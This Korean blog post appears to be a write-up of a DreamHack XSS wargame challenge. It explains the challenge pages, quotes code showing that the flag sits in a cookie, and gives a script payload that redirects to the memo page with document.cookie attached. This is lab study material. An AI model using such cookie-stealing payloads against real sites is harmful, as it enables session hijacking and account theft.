[DREAMHACK 워게임] 웹해킹_XSS문제 풀이Security2023. 11. 24. 12:16
Table of Contents
이 문제에서 중요한 것은 3가지로
1. 각 페이지의 유형과
2. FLAG값이 어디에 들어있는지
3. 127.0.0.1의 의미를 아는 것이다.
페이지는 총 3종류로 vuln(xss) page, memo, flag가 있는데
vuln은 입력값을 그대로 return한다. memo는 memo변수의 값을 그대로 출력하며
flag는 127.0.0.1:8000 포트에 post로 쿼리문을 보낸다.
따라서 vuln페이지는 xss 공격이 가능하다.
그리고 127.0.0.1은 로컬호스트이다. 그러므로 패킷을 외부까지 보내지 않는다.
또한 코드를 살펴보면
/**코드 전체에서 일부만 조각해옴**/
try:
FLAG = open("./flag.txt", "r").read()
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
FLAG가 cookie값에 담겨오는 것을 알 수 있다.
따라서 cookie 값을 구하면 된다.
결론적으로 flag 페이지에서
<script>location.href='http://localhost:8000/memo?memo='+document.cookie</script>라고 입력하면
memo에서 해당 DH 값을 얻을 수 있다.
반응형
'Security' 카테고리의 다른 글
[DREAMHACK 워게임] 웹해킹_simple_sqli 문제풀이 (0) | 2023.11.24 |
---|---|
[DREAMHACK 워게임] 웹해킹_CSRF-2 문제풀이 (2) | 2023.11.24 |
[DREAMHACK 워게임] 웹해킹_xss-2 문제풀이 (0) | 2023.11.24 |
[정보 보안] KISA 2023 가명정보 강의 요약 (0) | 2023.09.22 |
[KISA 대학생 특별과정] 스피어피싱 대응 온라인 강의 - 기본 정리 (0) | 2023.08.24 |
[Snort] 스노트(ISP) 설명 및 기초 문법 정리 (0) | 2023.07.24 |
@염염 :: 왕감자
공부하고 정리하는 기록모음